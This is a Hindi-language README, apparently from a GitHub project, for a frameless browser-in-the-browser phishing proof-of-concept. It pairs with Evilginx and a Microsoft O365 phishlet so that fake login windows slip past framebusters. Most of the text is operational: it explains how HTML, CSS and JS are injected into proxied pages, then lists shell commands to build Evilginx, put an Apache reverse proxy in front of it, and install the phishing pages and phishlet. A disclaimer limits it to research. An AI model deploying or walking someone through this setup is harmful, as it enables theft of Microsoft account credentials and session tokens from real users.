
ब्राउज़र इन द ब्राउज़र (BITB) के लिए एक नया दृष्टिकोण, बिना iframes के उपयोग के, जो Microsoft जैसे लॉगिन पेजों द्वारा लागू पारंपरिक framebusters को बायपास करने और Evilginx के साथ उपयोग की अनुमति देता है।
ब्राउज़र इन द ब्राउज़र (बीआईटीबी) के लिए एक नया दृष्टिकोण जो iframes का उपयोग नहीं करता है, जिससे माइक्रोसॉफ्ट जैसे लॉगिन पेजों द्वारा लागू पारंपरिक फ्रेमबस्टर्स को बायपास किया जा सकता है।
यह POC कोड इस नए बीआईटीबी को Evilginx और एक Microsoft Enterprise फिशलेट के साथ उपयोग करने के लिए बनाया गया है।

इसमें गहराई से जाने से पहले, मैं सुझाव देता हूं कि आप पहले BSides 2023 में मेरी बातचीत देखें, जहां मैंने इस अवधारणा को "परफेक्ट" फिशिंग हमले को तैयार करने के महत्वपूर्ण विवरणों के साथ पेश किया था। ▶ वीडियो देखें
यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। यह एक गैर-iframe आधारित ब्राउज़र इन द ब्राउज़र (बीआईटीबी) विधि प्रदर्शित करता है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। इस उपकरण का उपयोग केवल कानूनी और नैतिक रूप से, साइबर सुरक्षा रक्षा परीक्षण के लिए नियंत्रित वातावरण में करें। इस उपकरण का उपयोग करके, आप जिम्मेदारी से और अपने जोखिम पर ऐसा करने के लिए सहमत हैं।
पिछले एक वर्ष में, मैं "परफेक्ट" फिशिंग हमले को तैयार करने के लिए विभिन्न तरकीबों के साथ प्रयोग कर रहा हूं। लोगों को देखने के लिए प्रशिक्षित किए जाने वाले विशिष्ट "लाल झंडे" तात्कालिकता, धमकी, अधिकार, खराब व्याकरण आदि हैं। आजकल लोग अगली सबसे अच्छी चीज़ जांचते हैं वह है वेबसाइट का लिंक/यूआरएल जिसके साथ वे बातचीत कर रहे हैं, और जैसे ही उन्हें ईमेल और पासवर्ड जैसी संवेदनशील क्रेडेंशियल्स दर्ज करने के लिए कहा जाता है, वे बहुत सावधान हो जाते हैं।
यहीं पर ब्राउज़र इन द ब्राउज़र (बीआईटीबी) ने भूमिका निभाई। मूल रूप से @mrd0x द्वारा प्रस्तुत, बीआईटीबी एक विश्वसनीय ब्राउज़र विंडो का रूप बनाने की अवधारणा है जिसके अंदर हमलावर सामग्री को नियंत्रित करता है (एक iframe के अंदर दुर्भावनापूर्ण वेबसाइट परोसकर)। हालांकि, नकली ब्राउज़र विंडो का नकली यूआरएल बार वैध साइट पर सेट होता है जिसकी उपयोगकर्ता अपेक्षा करता है। Evilginx जैसे टूल के साथ यह एक विश्वसनीय फिशिंग हमले के लिए सही नुस्खा बन जाता है।
समस्या यह है कि पिछले कुछ महीनों/वर्षों में, माइक्रोसॉफ्ट जैसी प्रमुख वेबसाइटों ने "फ्रेमबस्टर्स/फ्रेमकिलर्स" नामक विभिन्न छोटी-छोटी तरकीबें लागू की हैं, जो मुख्य रूप से iframes को तोड़ने का प्रयास करती हैं जिनका उपयोग प्रॉक्सी की गई वेबसाइट को परोसने के लिए किया जा सकता है, जैसे Evilginx के मामले में।
संक्षेप में, Evilginx + बीआईटीबी अब माइक्रोसॉफ्ट जैसी वेबसाइटों के लिए काम नहीं करता है। कम से कम ऐसे बीआईटीबी के साथ नहीं जो iframes पर निर्भर करता है।
एक ब्राउज़र इन द ब्राउज़र (बीआईटीबी) बिना किसी iframe के! जितना सरल है।
इसका मतलब है कि अब हम माइक्रोसॉफ्ट जैसी वेबसाइटों पर Evilginx के साथ बीआईटीबी का उपयोग कर सकते हैं।
यहां Evilginx सिर्फ एक मजबूत उदाहरण है, लेकिन इसी अवधारणा का उपयोग अन्य उपयोग-मामलों के लिए भी किया जा सकता है।
फ्रेमबस्टर्स विशेष रूप से iframes को लक्षित करते हैं, इसलिए विचार iframes के उपयोग के बिना बीआईटीबी प्रभाव बनाना है, और प्रॉक्सी किए गए पेज की मूल संरचना/सामग्री को बाधित किए बिना। यह सर्च और रिप्लेस (उर्फ प्रतिस्थापन) का उपयोग करके मूल सामग्री के अलावा स्क्रिप्ट और HTML इंजेक्ट करके प्राप्त किया जा सकता है, फिर दृश्य प्रभाव बनाने के लिए पूरी तरह से HTML/CSS/JS तरकीबों पर निर्भर रहना। हम लैंडिंग पेज (पृष्ठभूमि) की सामग्री को इस तरह रखने के लिए HTML में "शैडो डोम" नामक एक अतिरिक्त तरकीब का भी उपयोग करते हैं कि यह प्रॉक्सी की गई सामग्री में हस्तक्षेप न करे, जिससे हम छोटे अतिरिक्त JS स्क्रिप्ट के साथ किसी भी लैंडिंग पेज का लचीले ढंग से उपयोग कर सकें।
एक स्थानीय लिनक्स वीएम बनाएं। (मैं व्यक्तिगत रूप से वीएमवेयर प्लेयर या पैरेलल्स डेस्कटॉप पर उबंटू 22 का उपयोग करता हूं)
सिस्टम पैकेज अपडेट और अपग्रेड करें:
sudo apt update && sudo apt upgrade -y
एक नया evilginx उपयोगकर्ता बनाएं, और उपयोगकर्ता को sudo समूह में जोड़ें:
sudo su
adduser evilginx
usermod -aG sudo evilginx
जांचें कि evilginx उपयोगकर्ता sudo समूह में है:
su - evilginx
sudo ls -la /root
उपयोगकर्ता की होम डायरेक्टरी पर जाएं:
cd /home/evilginx
(आप सब कुछ sudo उपयोगकर्ता के रूप में भी कर सकते हैं क्योंकि हम सब कुछ स्थानीय रूप से चला रहे हैं)
Evilginx डाउनलोड और बिल्ड करें: आधिकारिक दस्तावेज़
Evilginx फ़ाइलों को /home/evilginx पर कॉपी करें
गो इंस्टॉल करें: आधिकारिक दस्तावेज़
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
जोड़ें: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
जांचें:
go version
make इंस्टॉल करें:
sudo apt install make
Evilginx बिल्ड करें:
cd /home/evilginx/evilginx2
make
हमारे evilginx बिल्ड के लिए फिशलेट्स और रीडायरेक्टर्स के साथ एक नई निर्देशिका बनाएं:
mkdir /home/evilginx/evilginx
बिल्ड, फिशलेट्स और रीडायरेक्टर्स कॉपी करें:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
उबंटू फ़ायरवॉल त्वरित सुधार (@kgretzky को धन्यवाद)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
उबंटू पर, यदि आपको Failed to start nameserver on: :53 त्रुटि मिलती है, तो इस फ़ाइल को संशोधित करने का प्रयास करें
sudo nano /etc/systemd/resolved.conf
DNSStubListener को no में संपादित/जोड़ें > DNSStubListener=no
फिर
sudo systemctl restart systemd-resolved
चूंकि हम Apache2 का उपयोग Evilginx के सामने करेंगे, हमें Evilginx को 443 के अलावा किसी अन्य पोर्ट पर सुनने के लिए बनाना होगा।
nano ~/.evilginx/config.json
https_port को 443 से 8443 में बदलें
Apache2 इंस्टॉल करें:
sudo apt install apache2 -y
उपयोग किए जाने वाले Apache2 मॉड्स सक्षम करें: (हम access_compat मॉड्यूल को भी अक्षम कर रहे हैं क्योंकि यह कभी-कभी समस्या पैदा करता है)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Apache प्रारंभ और सक्षम करें:
sudo systemctl start apache2
sudo systemctl enable apache2
होस्ट मशीन पर ब्राउज़र से वीएम के आईपी पर जाकर जांचें कि Apache और VM नेटवर्किंग काम करता है या नहीं।
यदि पहले से उपलब्ध नहीं है तो git इंस्टॉल करें:
sudo apt -y install git
इस रेपो को क्लोन करें:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
हम जिन पेजों को सर्व करेंगे उनके लिए निर्देशिकाएं बनाएं:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
प्रत्येक पेज के लिए निर्देशिकाएं कॉपी करें:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
वैकल्पिक: डिफ़ॉल्ट Apache पेज हटाएं (उपयोग नहीं किया गया):
sudo rm -r /var/www/html/
O365 फिशलेट को फिशलेट्स निर्देशिका में कॉपी करें:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml